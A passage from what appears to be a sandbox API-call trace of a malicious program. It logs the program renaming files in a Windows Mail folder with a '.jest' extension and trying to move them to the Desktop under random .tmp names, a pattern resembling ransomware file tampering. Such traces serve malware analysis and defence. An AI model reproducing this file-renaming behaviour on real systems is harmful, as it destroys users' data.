Mail\\Stationery\\Bears.jpg", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg", lpFilePart=0x18e6d8*="Bears.jpg") returned 0x57 [0128.642] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xfffffffe, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x4020, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14c88b0, nFileSizeHigh=0x146ad80, nFileSizeLow=0x0, dwReserved0=0xd1, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0128.642] GetLastError () returned 0x2 [0128.642] VarBstrFromR4 (in: fltIn=0x4794463d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75916.48") returned 0x0 [0128.642] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0128.643] CoFreeUnusedLibraries () [0128.643] GetTickCount () returned 0x1152962 [0128.643] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.643] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.643] GetTickCount () returned 0x1152962 [0128.643] IsWindowVisible (hWnd=0x30268) returned 0 [0128.643] Sleep (dwMilliseconds=0x0) [0128.643] GetFullPathNameA (in: lpFileName="YFbaHIFqlkXq3JFBKyKDuHBXEPVYCg_E3rWRwmpzJJWWCecd8xdzgesoBwPQnKG8NAKV-_ Etb8 QPi8Vb1aa2Pc4XPpl UmI0.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\YFbaHIFqlkXq3JFBKyKDuHBXEPVYCg_E3rWRwmpzJJWWCecd8xdzgesoBwPQnKG8NAKV-_ Etb8 QPi8Vb1aa2Pc4XPpl UmI0.tmp", lpFilePart=0x18e708*="YFbaHIFqlkXq3JFBKyKDuHBXEPVYCg_E3rWRwmpzJJWWCecd8xdzgesoBwPQnKG8NAKV-_ Etb8 QPi8Vb1aa2Pc4XPpl UmI0.tmp") returned 0x8d [0128.643] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg", lpFilePart=0x18e708*="Bears.jpg") returned 0x57 [0128.643] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\bears.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\YFbaHIFqlkXq3JFBKyKDuHBXEPVYCg_E3rWRwmpzJJWWCecd8xdzgesoBwPQnKG8NAKV-_ Etb8 QPi8Vb1aa2Pc4XPpl UmI0.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yfbahifqlkxq3jfbkykduhbxepvycg_e3rwrwmpzjjwwcecd8xdzgesobwpqnkg8nakv-_ etb8 qpi8vb1aa2pc4xppl umi0.tmp")) returned 0 [0128.644] GetLastError () returned 0x2 [0128.644] GetLastError () returned 0x2 [0128.644] SetLastError (dwErrCode=0x2) [0128.644] GetLastError () returned 0x2 [0128.644] SetLastError (dwErrCode=0x2) [0128.644] GetLastError () returned 0x2 [0128.644] SetLastError (dwErrCode=0x2) [0128.644] GetFullPathNameA (in: lpFileName="YFbaHIFqlkXq3JFBKyKDuHBXEPVYCg_E3rWRwmpzJJWWCecd8xdzgesoBwPQnKG8NAKV-_ Etb8 QPi8Vb1aa2Pc4XPpl UmI0.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\YFbaHIFqlkXq3JFBKyKDuHBXEPVYCg_E3rWRwmpzJJWWCecd8xdzgesoBwPQnKG8NAKV-_ Etb8 QPi8Vb1aa2Pc4XPpl UmI0.tmp", lpFilePart=0x18e6e4*="YFbaHIFqlkXq3JFBKyKDuHBXEPVYCg_E3rWRwmpzJJWWCecd8xdzgesoBwPQnKG8NAKV-_ Etb8 QPi8Vb1aa2Pc4XPpl UmI0.tmp") returned 0x8d [0128.644] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\YFbaHIFqlkXq3JFBKyKDuHBXEPVYCg_E3rWRwmpzJJWWCecd8xdzgesoBwPQnKG8NAKV-_ Etb8 QPi8Vb1aa2Pc4XPpl UmI0.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x61624659, cFileName="HIFqlkXq3JFBKyKDuHBXEPVYCg_E3rWRwmpzJJWWCecd8xdzgesoBwPQnKG8NAKV-_ Etb8 QPi8Vb1aa2Pc4XPpl UmI0.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0128.644] GetLastError () returned 0x2 [0128.644] GetLastError () returned 0x2 [0128.644] SetLastError (dwErrCode=0x2) [0128.644] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0128.645] CoFreeUnusedLibraries () [0128.645] GetTickCount () returned 0x1152962 [0128.645] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.645] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.645] GetTickCount () returned 0x1152962 [0128.645] IsWindowVisible (hWnd=0x30268) returned 0 [0128.645] Sleep (dwMilliseconds=0x0) [0128.645] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\bears.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\bears.htm.jest")) returned 1 [0128.646] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm", lpFilePart=0x18e6d8*="Bears.htm") returned 0x57 [0128.646] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xfffffffe, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x4020, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14c88b0, nFileSizeHigh=0x146ad80, nFileSizeLow=0x0, dwReserved0=0xd1, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0128.646] GetLastError () returned 0x2 [0128.646] VarBstrFromR4 (in: fltIn=0x4794463f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75916.49") returned 0x0 [0128.647] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0128.647] CoFreeUnusedLibraries () [0128.647] GetTickCount () returned 0x1152971 [0128.648] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.648] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.648] GetTickCount () returned 0x1152971 [0128.648] IsWindowVisible (hWnd=0x30268) returned 0 [0128.648] Sleep (dwMilliseconds=0x0) [0128.651] GetFullPathNameA (in: lpFileName="dXKRHw_-AmmY3RND7FvfjtexreS9HGvHqQYRSug7EeJuZZLp8TmBLF-ClqTKp-ExJIDSxiwm7Lt6209BjC4_ZeLIOEXaJhIcuNBGI.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dXKRHw_-AmmY3RND7FvfjtexreS9HGvHqQYRSug7EeJuZZLp8TmBLF-ClqTKp-ExJIDSxiwm7Lt6209BjC4_ZeLIOEXaJhIcuNBGI.tmp", lpFilePart=0x18e708*="dXKRHw_-AmmY3RND7FvfjtexreS9HGvHqQYRSug7EeJuZZLp8TmBLF-ClqTKp-ExJIDSxiwm7Lt6209BjC4_ZeLIOEXaJhIcuNBGI.tmp") returned 0x8f [0128.651] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm", lpFilePart=0x18e708*="Bears.htm") returned 0x57 [0128.651] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\bears.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dXKRHw_-AmmY3RND7FvfjtexreS9HGvHqQYRSug7EeJuZZLp8TmBLF-ClqTKp-ExJIDSxiwm7Lt6209BjC4_ZeLIOEXaJhIcuNBGI.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dxkrhw_-ammy3rnd7fvfjtexres9hgvhqqyrsug7eejuzzlp8tmblf-clqtkp-exjidsxiwm7lt6209bjc4_zelioexajhicunbgi.tmp")) returned 0 [0128.651] GetLastError () returned 0x2 [0128.651] GetLastError () returned 0x2 [0128.651] SetLastError (dwErrCode=0x2) [0128.651] GetLastError () returned 0x2 [0128.651] SetLastError (dwErrCode=0x2) [0128.651] GetLastError () returned 0x2 [0128.651] SetLastError (dwErrCode=0x2) [0128.651] GetFullPathNameA (in: lpFileName="dXKRHw_-AmmY3RND7FvfjtexreS9HGvHqQYRSug7EeJuZZLp8TmBLF-ClqTKp-ExJIDSxiwm7Lt6209BjC4_ZeLIOEXaJhIcuNBGI.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dXKRHw_-AmmY3RND7FvfjtexreS9HGvHqQYRSug7EeJuZZLp8TmBLF-ClqTKp-ExJIDSxiwm7Lt6209BjC4_ZeLIOEXaJhIcuNBGI.tmp", lpFilePart=0x18e6e4*="dXKRHw_-AmmY3RND7FvfjtexreS9HGvHqQYRSug7EeJuZZLp8TmBLF-ClqTKp-ExJIDSxiwm7Lt6209BjC4_ZeLIOEXaJhIcuNBGI.tmp") returned 0x8f [0128.651] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dXKRHw_-AmmY3RND7FvfjtexreS9HGvHqQYRSug7EeJuZZLp8TmBLF-ClqTKp-ExJIDSxiwm7Lt6209BjC4_ZeLIOEXaJhIcuNBGI.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x524b5864, cFileName="Hw_-AmmY3RND7FvfjtexreS9HGvHqQYRSug7EeJuZZLp8TmBLF-ClqTKp-ExJIDSxiwm7Lt6209BjC4_ZeLIOEXaJhIcuNBGI.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0128.652] GetLastError () returned 0x2 [0128.652] GetLastError () returned 0x2 [0128.652] SetLastError (dwErrCode=0x2) [0128.652] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0128.652] CoFreeUnusedLibraries () [0128.652] GetTickCount () returned 0x1152971 [0128.652] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.652] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.652] GetTickCount () returned 0x1152971 [0128.652] IsWindowVisible (hWnd=0x30268) returned 0 [0128.652] Sleep (dwMilliseconds=0x0) [0128.653] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\oeold.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\oeold.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\oeold.xml.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\oeold.xml.jest")) returned 1 [0128.654] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\oeold.xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\oeold.xml", lpFilePart=0x18e6d8*="oeold.xml") returned 0x4c [0128.654] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\oeold.xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xfffffffe, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x4020, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14c88b0, nFileSizeHigh=0x146ad80, nFileSizeLow=0x0, dwReserved0=0xd1, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0128.654] GetLastError () returned 0x2 [0128.654] VarBstrFromR4 (in: fltIn=0x4794463f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75916.49") returned 0x0 [0128.654] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0128.654] CoFreeUnusedLibraries () [0128.654] GetTickCount () returned 0x1152971 [0128.654] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.654] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.655] GetTickCount () returned 0x1152971 [0128.655] IsWindowVisible (hWnd=0x30268) returned 0 [0128.655] Sleep (dwMilliseconds=0x0) [0128.655] GetFullPathNameA (in: lpFileName="Vn2FVdca G8XBHP7f P_9SeKU9CNuNJ_iF MMj0rfcSG_ EuKSzT MBSaUVBhKdTkNjWHkeN38JO4D_s1s-gHhnitoqKT7_NwyZ.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Vn2FVdca G8XBHP7f P_9SeKU9CNuNJ_iF MMj0rfcSG_ EuKSzT MBSaUVBhKdTkNjWHkeN38JO4D_s1s-gHhnitoqKT7_NwyZ.tmp", lpFilePart=0x18e708*="Vn2FVdca G8XBHP7f P_9SeKU9CNuNJ_iF MMj0rfcSG_ EuKSzT MBSaUVBhKdTkNjWHkeN38JO4D_s1s-gHhnitoqKT7_NwyZ.tmp") returned 0x8d [0128.655] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\oeold.xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\oeold.xml", lpFilePart=0x18e708*="oeold.xml") returned 0x4c [0128.655] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\oeold.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\oeold.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Vn2FVdca G8XBHP7f P_9SeKU9CNuNJ_iF MMj0rfcSG_ EuKSzT MBSaUVBhKdTkNjWHkeN38JO4D_s1s-gHhnitoqKT7_NwyZ.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vn2fvdca g8xbhp7f p_9seku9cnunj_if mmj0rfcsg_ eukszt mbsauvbhkdtknjwhken38jo4d_s1s-ghhnitoqkt7_nwyz.tmp")) returned 0 [0128.655] GetLastError () returned 0x2 [0128.655] GetLastError () returned 0x2 [0128.655] SetLastError (dwErrCode=0x2) [0128.655] GetLastError () returned 0x2 [0128.655] SetLastError (dwErrCode=0x2) [0128.655] GetLastError () returned 0x2 [0128.656] SetLastError (dwErrCode=0x2) [0128.656] GetFullPathNameA (in: lpFileName="Vn2FVdca G8XBHP7f P_9SeKU9CNuNJ_iF MMj0rfcSG_ EuKSzT MBSaUVBhKdTkNjWHkeN38JO4D_s1s-gHhnitoqKT7_NwyZ.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Vn2FVdca G8XBHP7f P_9SeKU9CNuNJ_iF MMj0rfcSG_ EuKSzT MBSaUVBhKdTkNjWHkeN38JO4D_s1s-gHhnitoqKT7_NwyZ.tmp", lpFilePart=0x18e6e4*="Vn2FVdca G8XBHP7f P_9SeKU9CNuNJ_iF MMj0rfcSG_ EuKSzT MBSaUVBhKdTkNjWHkeN38JO4D_s1s-gHhnitoqKT7_NwyZ.tmp") returned 0x8d [0128.656] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Vn2FVdca G8XBHP7f P_9SeKU9CNuNJ_iF MMj0rfcSG_ EuKSzT MBSaUVBhKdTkNjWHkeN38JO4D_s1s-gHhnitoqKT7_NwyZ.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x46326e56, cFileName="Vdca G8XBHP7f P_9SeKU9CNuNJ_iF MMj0rfcSG_ EuKSzT MBSaUVBhKdTkNjWHkeN38JO4D_s1s-gHhnitoqKT7_NwyZ.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0128.656] GetLastError () returned 0x2 [0128.656] GetLastError () returned 0x2 [0128.656] SetLastError (dwErrCode=0x2) [0128.656] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0128.657] CoFreeUnusedLibraries () [0128.657] GetTickCount () returned 0x1152971 [0128.657] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.657] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.657] GetTickCount () returned 0x1152971 [0128.657] IsWindowVisible (hWnd=0x30268) returned 0 [0128.657] Sleep (dwMilliseconds=0x0) [0128.657] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\hand prints.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\hand prints.htm.jest")) returned 1 [0128.658] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm", lpFilePart=0x18e6d8*="Hand Prints.htm") returned 0x5d [0128.658] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x3d00003d, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x144ecc0, ftLastAccessTime.dwLowDateTime=0x14c88b0, ftLastAccessTime.dwHighDateTime=0x14e21e0, ftLastWriteTime.dwLowDateTime=0x1e8, ftLastWriteTime.dwHighDateTime=0x1410000, nFileSizeHigh=0x800000, nFileSizeLow=0x144ebe8, dwReserved0=0x18ea24, dwReserved1=0x77c7389e, cFileName="8\x01A\x01z8ÇwYpÍw", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0128.658] GetLastError () returned 0x2 [0128.658] VarBstrFromR4 (in: fltIn=0x4794463f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75916.49") returned 0x0 [0128.658] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0128.658] CoFreeUnusedLibraries () [0128.659] GetTickCount () returned 0x1152971 [0128.659] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.659] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.659] GetTickCount () returned 0x1152971 [0128.659] IsWindowVisible (hWnd=0x30268) returned 0 [0128.659] Sleep (dwMilliseconds=0x0) [0128.659] GetFullPathNameA (in: lpFileName="jJW-rPUljB8iPRhK tJX_Qn8JiJvAlkYu_8MShZoq U8eoTsEjCdf4BfYCLw_Wnm9BWpDuufwvouk4FykeUdQibsMQ72jeqKpBSU.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jJW-rPUljB8iPRhK tJX_Qn8JiJvAlkYu_8MShZoq U8eoTsEjCdf4BfYCLw_Wnm9BWpDuufwvouk4FykeUdQibsMQ72jeqKpBSU.tmp", lpFilePart=0x18e708*="jJW-rPUljB8iPRhK tJX_Qn8JiJvAlkYu_8MShZoq U8eoTsEjCdf4BfYCLw_Wnm9BWpDuufwvouk4FykeUdQibsMQ72jeqKpBSU.tmp") returned 0x8e [0128.659] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm", lpFilePart=0x18e708*="Hand Prints.htm") returned 0x5d [0128.659] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\hand prints.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jJW-rPUljB8iPRhK tJX_Qn8JiJvAlkYu_8MShZoq U8eoTsEjCdf4BfYCLw_Wnm9BWpDuufwvouk4FykeUdQibsMQ72jeqKpBSU.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jjw-rpuljb8iprhk tjx_qn8jijvalkyu_8mshzoq u8eotsejcdf4bfyclw_wnm9bwpduufwvouk4fykeudqibsmq72jeqkpbsu.tmp")) returned 0 [0128.660] GetLastError () returned 0x2 [0128.660] GetLastError () returned 0x2 [0128.660] SetLastError (dwErrCode=0x2) [0128.660] GetLastError () returned 0x2 [0128.660] SetLastError (dwErrCode=0x2) [0128.660] GetLastError () returned 0x2 [0128.660] SetLastError (dwErrCode=0x2) [0128.660] GetFullPathNameA (in: lpFileName="jJW-rPUljB8iPRhK tJX_Qn8JiJvAlkYu_8MShZoq U8eoTsEjCdf4BfYCLw_Wnm9BWpDuufwvouk4FykeUdQibsMQ72jeqKpBSU.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jJW-rPUljB8iPRhK tJX_Qn8JiJvAlkYu_8MShZoq U8eoTsEjCdf4BfYCLw_Wnm9BWpDuufwvouk4FykeUdQibsMQ72jeqKpBSU.tmp", lpFilePart=0x18e6e4*="jJW-rPUljB8iPRhK tJX_Qn8JiJvAlkYu_8MShZoq U8eoTsEjCdf4BfYCLw_Wnm9BWpDuufwvouk4FykeUdQibsMQ72jeqKpBSU.tmp") returned 0x8e [0128.660] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jJW-rPUljB8iPRhK tJX_Qn8JiJvAlkYu_8MShZoq U8eoTsEjCdf4BfYCLw_Wnm9BWpDuufwvouk4FykeUdQibsMQ72jeqKpBSU.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, 